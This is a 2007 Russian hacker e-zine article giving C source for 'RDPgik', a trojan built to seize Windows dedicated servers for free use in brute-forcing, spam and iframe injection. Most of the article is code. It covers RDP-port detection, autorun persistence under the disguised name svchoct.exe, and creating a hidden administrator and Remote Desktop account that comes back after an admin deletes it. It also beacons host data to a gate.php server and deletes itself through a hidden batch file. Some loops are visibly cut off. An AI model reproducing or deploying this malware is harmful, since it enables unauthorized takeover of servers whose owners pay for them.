hack.connect
 
[ru.scene.community]
HackConnect.E-zine issue #2
// RDPgik или поймай деда за хвост
Введение
Дед или дедик( от англ Dedicated Server ) - это выделенный сервер предоставляемый провейдером интернета,ip телефонии, хостером или просто какой либо организацией прямо или косвенно свезанной с компьютерами :) Обычно цены на дедики колеблются от $30-$600 в месяц, расценки как обычно зависят от конфигурации дедика. Вот например у среднестатистического хостера предоставляющего дедики с операционной системой Windows и концигурацией Intel Pentium 4 3.0Ghz RAM-512Mb HDD-120Gb и каналом в 10Mb/s обойдётся в месяц $50-$60, а такие термоядерные монстры как 4XIntel Xenon 2.8Ghz RAM-8Gb 4XRAID 320Gb и каналом в 1Gb/s вам обойдётся в копеечку и будет это удавольствие стоить около $500-$600 в месяц.

Управляют администраторы этими машинами через через подключение к удалённому рабочему столу (от англ Remote Desktop Protocol или RDP) и на дедиках всегда открыт 3389 порт. Только представь что ты можешь брутить аси на 10 а чаще 100 мегабитном ХАЛЯВНОМ для тебя канале, ты можешь спамить, фреймить индекс страницы через чекеры с автозаливом и это всего лишь малая часть того что можно делать с помощью дедика. Как тебе, а? Захотелось такой получить для своих грязных дел и не заплатить за это ни копейки? Тогда читай дальше, потому что статья как раз и посвящена даноой тематике, а точнее свеженаписанному мною трою или боте (я буду называть трой, мне так проще :)) RDPgik.

О функционале RDPgik
Итак чтоже умеет этот трой. А умеет он следующее:
[+] Отсылка на гейт ip дедика и по желанию последующий каждый час(эта часть закомментирована в коде)
[+] Проверка запускался ли трой на данной машине или нет
[+] Само сабой куда же без добавления в автозагрузку :)
[+] Проверка на удаление из реестра параметра отвечающего за автозагрузку( если удалён больше 3-х раз то удалиться вообще )
[+] Проверка удалил админ твой аккаунт или нет, если удалил то отстучать на гейт и добавить, если добавил то отстучать на гейт, что добавил.
[+] Информация о железе( кол-во оперативки,кол-во проц,частота проц, тип проц )
[+] Определение версии Windows

О технологии
Я думаю всем интересно узнать как же это работает? Итак обо всём по порядку.

Сама технология заключается вот в чем. Ну для начала нам нужно проверить является ли данный компьютер дедиком. Как это узнать? Нужно проверить открыт ли 3389 порт. Это можно проверить с помощью функции GetExtendedTcpTable, можно через перенаправление вывода и последующем анализом перенаправленных данных команды netstat -an, но а можно сделать намного проще, просто взять и забиндиться на порт 3389, если не забиндиться значит порт используется, отсюда вывод, что данный компьютер дедик, а если забиндилось успешно то данный компьютер не дедик и делать нам тут нечего.
/*-----------------------------------//
*  Функция проверки на открытый порт.
*  Возвращает:
*   0 если не удалось забиндить (значит дедик)
*   1 если удалось (значит не дедик)
*  -1 если произошла ошибка
//-----------------------------------*/

#define OPENED      1
#define CLOSED      0
#define ERRORR                 -1

#define RDP_PORT    3389

DWORD WINAPI CheckPort() //Функции инициализации библиотеки соктов и очисти находятся в main.cpp и                           {                      //поэтому здесь их нет
  SOCKET ListenSocket; //Сокет
  ListenSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); //Создаём сокет
  if (ListenSocket == INVALID_SOCKET) {      //Если ошибка то возвратим -1
      return ERRORR;
  }
  
  sockaddr_in service;                       //Инициализация структуры  sockaddr_in
  service.sin_family = AF_INET;
  service.sin_addr.s_addr = inet_addr("127.0.0.1");
  service.sin_port = htons(RDP_PORT);

  if (bind(ListenSocket,(SOCKADDR*) &service, sizeof(service)) == SOCKET_ERROR) //Тут мы пытаемся                            {                                               //забиндиться на 3389 порт
    closesocket(ListenSocket);
    return CLOSED; //Если не удалось забиндиться то это дедик
  }
  
  return OPENED; //Если забиндились то значит не дедик
}
Ну а далее если этот компьютер является дедиком то мы начинам шуровать. Сначала нам нужно проверить, а не запущен ли случаем данный трой на этой машине. Это проще всего можно проверить с помощью задания определённого мутекса. Например так:
HANDLE hMutex; // Дескриптор мутекса
  
  hMutex = OpenMutex(MUTEX_ALL_ACCESS, FALSE, MUTEX_NAME); //Открываем мутекс
  
  if(hMutex) //Если уже используется такой, то вывести сообщение об ошибке
  {
    MessageBox(HWND(0),"Уже запущен","Ошибка",MB_OK);
  }
  
  hMutex = CreateMutex(NULL, FALSE, MUTEX_NAME); //Если нет то создать его
Если всё проходит гладко и запущенного троя не намечается в системе то можно спокойно переходить к собиранию информации о железе. Какие же нам нужны параметры, ну конечно первым делом это всегда количество оперативной памяти и тактовая цастота процессора. Тактовою частоту не так то просто узнать, пришлось немного покодить на асме,но так как я в асме не силён то помучав компилятор я просто взял готовую функцию и переписал её на inline assembler включенного в поставку MSVS, правда столкнулся я с одной проблемкой. В коде использовались такие директивы как dw предназначенные для обозначения переменных типа WORD,но в inline assembler нельзя их использовать. Нашёл у себя в закромах макросы для замены ассемблерной директивы dw.
/*----------------------------------//
  Macros для замены ассемблерного dw
//----------------------------------*/

#define xDW(X)             \
{                           \
  __asm _emit (X) & 0xff    \
  __asm _emit (X>>8) & 0xff \
} 

/*-------------------------------//
*  функция возвращает частоту 
*  процессора в Mhz
//-------------------------------*/
UINT WINAPI CPUSpeed() 
  { 
    DWORD dwTimerHi, dwTimerLo; 
    __asm
     { 
        xDW (0x310F)
        mov dwTimerLo, EAX 
        mov dwTimerHi, EDX 
      } 
    Sleep (500); 
    __asm
     { 
        xDW (0x310F) 
        sub EAX, dwTimerLo 
        sub EDX, dwTimerHi 
        mov dwTimerLo, EAX 
        mov dwTimerHi, EDX 
     } 
    return dwTimerLo/(1000.0*500); 
 }
Количество физической памяти узнать вообще очень просто
/*-------------------------------//
*  Функция возвращает количество
*  физической памяти в Mb
//-------------------------------*/

DWORD WINAPI GetPhysicalMem()
{
  MEMORYSTATUS stat; 
  GlobalMemoryStatus(&stat); //Получаем информацию на данный момент используемой физической и виртуальной памяти

    return (stat.dwTotalPhys/1024)/1024; //Нам нужна физическая память, её и возвращаем.
}
Как реализовано получение версии Windows, типа процессора, имени компьютера и количества процессоров можно посмотреть в исходнике, хочу лишь заострить внимание на том что опердиление версии Windows происходит путём проверки Major и MinorVersion структуры SYSTEM_INFO.

Первое число MajorVersion, второе MinorVersion
50 - Windows 2000
51 - Windows XP
52 - Windows 2003

Привожу кусок кода для наглядности.
if(siVerInfo.dwMajorVersion == 5 && siVerInfo.dwMinorVersion == 0) winver = "Windows 2000";
else if(siVerInfo.dwMajorVersion == 5 && siVerInfo.dwMinorVersion == 1) winver = "Windows XP";
else if(siVerInfo.dwMajorVersion == 5 && siVerInfo.dwMinorVersion == 2) winver = "Windows 2003";
С железками вроде бы всё, но так как трой создаёт ключи нужно проверить вдруг чтото было не так и ключи не удалились, подчистить всё что было создано ранее, а если не было создано то и ладно :)

Далее по хорошему нужно бы сделать несколько записей в реестре и следующим шагом я сделал проверку на запуск первый раз в данной системе через реестр(зачем я это добавил сам не знаю :)) и добавление в автозагрузку.
/*--------------------------------------------------------------------//
*  Проверка первый раз запущена программа на данной системе или нет
*  1-если да
*  0-если нет
//--------------------------------------------------------------------*/

#define RUNKEY          "RDPgik" 
#define PROGNAME        "svchoct.exe"

DWORD WINAPI CheckFirstTime(void)
{
  HKEY hKey;
  char *value[1] = {"1"};
  char buf[256];
  DWORD szBuf = 255;
    
  if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion", 0, KEY_READ, &hKey) == ERROR_SUCCESS) //Открываем ключ для чтения
    {        
        if (RegQueryValueEx(hKey,"SM_ConfigureProgramsInstalled", NULL, NULL, (LPBYTE)buf, &szBuf) != ERROR_SUCCESS) //И смотрим если ключ не создан то закрываем ключ
    {
      RegCloseKey(hKey);
      if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion",0,KEY_WRITE,&hKey)==ERROR_SUCCESS) //Открываем ещё раз но уже для записи
      { 
        RegSetValueEx(hKey, "SM_ConfigureProgramsInstalled", 0, REG_SZ, (const BYTE *)value[0], lstrlen(value[0])); //И создаём строковый параметр
        RegCloseKey(hKey);
        if(AddToAutorun()==1) return 1; //Да ещё и добавим в автозагрузку
      }
    }
  }
  
return 0;
}

/*--------------------------------------------------------------------//
*  Дабавление ключа в реест для автозапуска программы при старте системы
*  1-если добавлено
*  0-если нет
//--------------------------------------------------------------------*/

DWORD WINAPI AddToAutorun(void)
{
  HKEY hKey;
  char *value[1] = {"1"};
  char szDirName[256], szSysDir[256], szFileName[256];
  
  GetModuleFileName(GetModuleHandle(NULL), szDirName, sizeof(szDirName));//Получаем имя exe
  GetSystemDirectory(szSysDir, 256); //Получаем системную директорию

  lstrcpy(szFileName, szSysDir); 
  lstrcat(szFileName, "\\"); 
  lstrcat(szFileName, PROGNAME);
    
  if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_WRITE,&hKey)==ERROR_SUCCESS) //Открываем ключ для записи
  {       
    CopyFile(szDirName, szFileName, FALSE); //Если всё гладко прошло то копируем файл в                                                         //системную папку
    RegSetValueEx(hKey, RUNKEY, 0, REG_SZ, (const BYTE *)szFileName, lstrlen(szFileName)); //Добавляем строковый параметр с полным путём где уже лежит exe
    RegCloseKey(hKey);
  } else return 0;
    
return 1;
}
Наверное сейчас возник вопрос а зачем нужен параметр SM_ConfigureProgramsInstalled? А создал я его для того чтобы фиксировать сколько раз админ удалил из ключа автозапуска наш параметр. Как выдно из кода то просто идёт проверка есть данный параметр в реестре или его нет, если нет то создаём и присваиваем значение 1, далее добавляем в автозагрузку. При удалении из ключа отвечающего за автозагрузку нашего параметра мы присваиваем SM_ConfigureProgramsInstalled значение на единицу больше и когда оно достигнет значение 4, то есть админ удалял нас 3 раза из ключа автозапуска. Трой просто удалит все ключи за собой и удалится сам предварительно отстучав на стату. Функция проверки большая и её можно посмотреть в исходниках.

На этом манипуляции с реестром завершены. Далее как уже видно функция CheckFirstTime может возвратить одно из двух значений. Если функция вернула 1 то есть да, что я вроде как бы тут первый раз запущен, то смело добавляем нашего пользоваеля и добавляем его во все группы. Для этого я использовал стандартные команды net user и net localgroup. Но как быть если нужно проверять удалил админ твой акк или нет. Вот тут то и наступает на самом деле сложный момент, для этого нам нужно перенаправлять стандартный вывод данных через пайпы и уже потом анализировать ответ. Я постарался подправить уже готовую функцию предназначенную для этого и вот что же у меня получилось.

Принимает функция 3 параметра, а точнее имя пользователя, пароль и команду(всего две checkacc либо addacc). Если Мы запустим функцию с командой checkacc то она проверит удалён наш пользователь или нет, а если с addacc то попытается добавить во все группы и RDP само сабой.
/*-------------------------------------------------------------//
Функция управления аккаунтом.
1) Добавляет в группы и RDP(3-ий параметр "addacc").
Если успешно добавлено то возвращает 0
2) Проверяет на удаление аккаунта(3-ий параметр "checkacc").
Если аккаунт удалён то возвращает 1
//--------------------------------------------------------------*/

#define USERNAME        "perdimonokl" 
#define PASSWORD        "!@#$%^" // 123456 + Shift :)


DWORD WINAPI ManageAccount(char *user, char *pass,char *command)
{
  char addacc[100] = " /K net user ";
  char admadd1[100] = " /K net localgroup administrator "; //Вот и список групп
  char admadd2[100] = " /K net localgroup administrators ";
  char admadd3[100] = " /K net localgroup Administrator ";
  char admadd4[100] = " /K net localgroup Administrators ";
  char admadd5[100] = " /K net localgroup admin ";
  char admadd6[100] = " /K net localgroup admins ";
  char admadd7[100] = " /K net localgroup Admin ";
  char admadd8[100] = " /K net localgroup Admins ";
  char rdpadd[100] = " /K net localgroup \"Remote Desktop Users\" ";
  
  char *process[COUNT] = {addacc,admadd1,admadd2,admadd3,admadd4,admadd5,admadd6,admadd7,admadd8,rdpadd}; // массив со списком

  int i = 0;
    
    lstrcat(process[0],USERNAME);
    lstrcat(process[0]," ");
    lstrcat(process[0],PASSWORD);
    lstrcat(process[0]," /ADD");
  
  for(i=1;i Дополнительно -> Переменные среды -> Системные переменные
либо зайти в командный интерпертатор и набрать команду set, без параметров она выведет список всех переменных и их значений */

  if(lstrcmp(command,"addacc")==0)
  {
    int j=0;
    for(j=0;j 1023)
            {
              while (bread >= 1023)
              {
                ReadFile(read_stdout,buf,1023,&bread,NULL);  //читаем из вывода
                memset(buf,0,sizeof(buf));
              }

            }
            else 
            {
              ReadFile(read_stdout,buf,1023,&bread,NULL);
              break;
            }
          }
          memset(buf,0,sizeof(buf));
        }
      }
    TerminateProcess(pi.hProcess,0);
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    CloseHandle(newstdin);            //небольшая уборка за собой
    CloseHandle(newstdout);
    CloseHandle(read_stdout);
    }
    
  } 
  else if(lstrcmp(command,"checkacc")==0) //А это уже проверка акка
  {
    if (!CreateProcess(szDirName,process[0],NULL,NULL,TRUE,CREATE_NEW_CONSOLE,
                    NULL,NULL,&si,&pi))
    {
      CloseHandle(newstdin);
      CloseHandle(newstdout);
      CloseHandle(read_stdout);
      CloseHandle(write_stdin);
      return 0;
    }
  }
  memset(buf,0,sizeof(buf));

  for(;;)     
  {
    GetExitCodeProcess(pi.hProcess,&exit); 
    if (exit != STILL_ACTIVE) break;
    PeekNamedPipe(read_stdout,buf,1023,&bread,&avail,NULL);
    if (bread != 0)
    {
      memset(buf,0,sizeof(buf));
      if (avail > 1023)
      {
        while (bread >= 1023)
        {
          ReadFile(read_stdout,buf,1023,&bread,NULL);  
          memset(buf,0,sizeof(buf));
        }
      }
      else 
      {
        ReadFile(read_stdout,buf,1023,&bread,NULL);
        memcpy(temp,buf,sizeof(buf)); /*Копируем вывод результата выполнения команды*/
        if(lstrcmp(command,"checkacc")==0) //Можно убрать
        {
                                   if(strsub(temp,"successfully",lstrlen(temp),lstrlen("successfully"))!=NULL) /* Если есть слово successfully то есть успешно добавлен то акк удалён так как он не может быть добавлен снова.*/
          {
            deleted = 1;
            break;
          }
        }
        break;
        memset(temp,0,sizeof(temp));
      }
      memset(temp,0,sizeof(temp));
    }
    memset(temp,0,sizeof(temp));
    memset(buf,0,sizeof(buf));
  }
  TerminateProcess(pi.hProcess,0);
  CloseHandle(pi.hThread);
  CloseHandle(pi.hProcess);
  CloseHandle(newstdin);            
  CloseHandle(newstdout);
  CloseHandle(read_stdout);
  CloseHandle(write_stdin);
  
  return deleted;
}
Эта функция самая большая из всех и несёт основное назначение. С первого раза можно и не понять что тут написано но если детально почитать msdn про работу с пайпами и перечитать раз 10 этот код то всё станет ясно :) В данной функции используется функция нахождения подстроки в строке strsub и код её посмотреть можно в исходниках.

Теперь когда всё сделано, а именно записи в реестре и добавлен акк то можно отправить даные на гейт. А отправлять будем ip с собранными данными о железе.
/*----------------------------------//
* Возвращает IP адрес по имени хоста
//----------------------------------*/

#define HOST          "www.site.com"
#define PATH          "/RDPgik/gate.php"


LPSTR WINAPI GetIpByHostname(char * hostName)
{
char * hostIP;
struct hostent *hostInfo;

hostInfo = gethostbyname(hostName);
hostIP = inet_ntoa(*((struct in_addr *)hostInfo->h_addr));

return hostIP;
}

/*-----------------------//
Отправка данных на гейт
//-----------------------*/

DWORD WINAPI ToGate(char *query, char *ip) 
{
    char header[1024];
  char *host;
  
  SOCKET sock; // Сам сокет
  SOCKADDR_IN sockaddr_in; //структура сокета
  
  memset(recvbuff,0,1024);
  
  lstrcpy(header, "GET ");  //Собираем HTTP заголовок
  lstrcat(header, PATH);
  lstrcat(header, "?query="); //В query будут идти данные о компьютере
  lstrcat(header, query);
  lstrcat(header, "&ip="); //В ip будут идти все ip адаптеров в данной системе
  lstrcat(header, ip);
  lstrcat(header, " HTTP/1.0\r\n");
  lstrcat(header, "User-Agent: RDPgik\r\nHost: "); /*Вот и главная фишка. Если user agent будет другим то на гейт не дать ни одного запроса*/
  lstrcat(header, HOST);
  lstrcat(header, "\r\n\r\n");

  host = GetIpByHostname(HOST); //Получаем ip хоста
        
        //Заполнение структуры сокета
  sockaddr_in.sin_addr.s_addr = inet_addr(host);
  sockaddr_in.sin_family = AF_INET;
  sockaddr_in.sin_port = htons(PORT);
  
  sock = socket(AF_INET,SOCK_STREAM,0); // Создаём сокет
  connect(sock, (struct sockaddr *)&sockaddr_in, sizeof(sockaddr_in));  // соединяемся
  send(sock, header, lstrlen(header),0); // посылаем данные

  closesocket(sock);

  return 0;

}
Если возникают какие то непредвиденные обстоятельства да или просто админ всё палит то нужно бы удалиться. Старый и действенный способ удаления самого себя это через bat файл. Для этого нам нужно создать bat файл с таким содержимым
                        @ECHO off
      :try
      DEL C:\path\to\file\rdp.exe
      GOTO try
      DEL C:\path\to\bat\del.bat
и запустить его.
За это отвечает функция SelfDel()
/*------------------------------//
  Самоудаление через bat файл
//------------------------------*/

DWORD WINAPI SelfDel()
{
  char delData[512], BatDel[256], BatName[256]; 
  DWORD dataSize;

  HANDLE hFile; //Дескриптор файла
    
  GetModuleFileName(GetModuleHandle(NULL), BatName, sizeof(BatName)); //Получаем имя exe
    GetCurrentDirectory(256,BatDel); // Получаем текущую директорию
     
  lstrcat(BatDel,"\\autoexe.bat"); 

  hFile = CreateFile(BatDel, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL); //Создаём файл

  if (hFile != INVALID_HANDLE_VALUE)
  {
      ZeroMemory (&delData, sizeof(delData));
    
    lstrcpy(delData, "@ECHO off\r\n:try\r\nDEL ");
      lstrcat(delData, BatName);
      lstrcat(delData, "\r\nIF EXIST ");
      lstrcat(delData, BatName);
      lstrcat(delData, " GOTO try\r\n");
      lstrcat(delData, "DEL ");
      lstrcat(delData, BatDel);
        
    dataSize = sizeof(delData);
    
    WriteFile(hFile, delData, dataSize, &dataSize, NULL); //Записываем все данный в файл
    CloseHandle(hFile);
    WinExec(BatDel,SW_HIDE); //Запускаем всё это дела в скрытом режиме
      Sleep(100);
  }
   return 0; 
}
Вот и весь функционал который нужен для работы троя. Всё остальное это уже дополнения и примочки которые делают его лучьше. Я разобрал здесь самые скользкие мометы и попытался обьяснить как это всё работает и что для этого нужно. Смотрите сорс и тестируйте.

Структура
Итак чтоже получилось. А получилось вот что:
                                        +-------------+
                                        |             |
                                        |  main func  |
                                        |             |
                                        +-------------+
                                               |
                                               |
          +-------------+               +-------------+  
          |             |       ДА      |  Проверяем  |
          | SelfDel();  |---------------|повторный за-|
          |             |               | пуск через  |
          |             |               |    mutex    |
          +-------------+               +-------------+
                                               |
                                               |НЕТ
                                               |
                                        +-------------+
                                        |Удаление соз-|
                                        |данных ранее |
                                        |   ключей    |
                                        +-------------+
                                               |
                                               |
          +-------------+               +-------------+
          |             |      НЕТ      |Проверка отк-|
          | SelfDel();  |---------------|рыт RDP порт |
          |             |               |   или нет   |
          +-------------+               +-------------+
                                               |
                                               |ДА
                                               | 
                                        +-------------+
                                        | Собираем и  |
                                        | делаем всё  |
                                        |  что нужно  |
                                        +-------------+
                                               |
                                               |
                                        +-------------+
                                        | Отстукиваем |
                                        |   на гейт   |
                                        |             |
                                        +-------------+
Это обобщённая структура работы троя, весь функционал можно посмотреть в main функции да и вообще в сорцах.

Заключение
После долгих усилий получился трой который может для вас скомуниздить дедик да ещё и информацию о железках вам скажет. Удобная и нужная штучка я думаю. Тестировал я его на WinXP SP1 и WinXP SP2, работал хорошо и вроде бы как значительных сбоев не наблюдалось. Так что тестируйте, правьте сорцы, обходите фаеры, убивайте эвристику, вообщем ловите деда за хвост :) Article by: perdimonokl aka 4nob1oz, 2007, TGBR.ORG specially for HackConnect.Ezine #2
/* ----------------------------------------------------[contents]----------------------------------------------------- */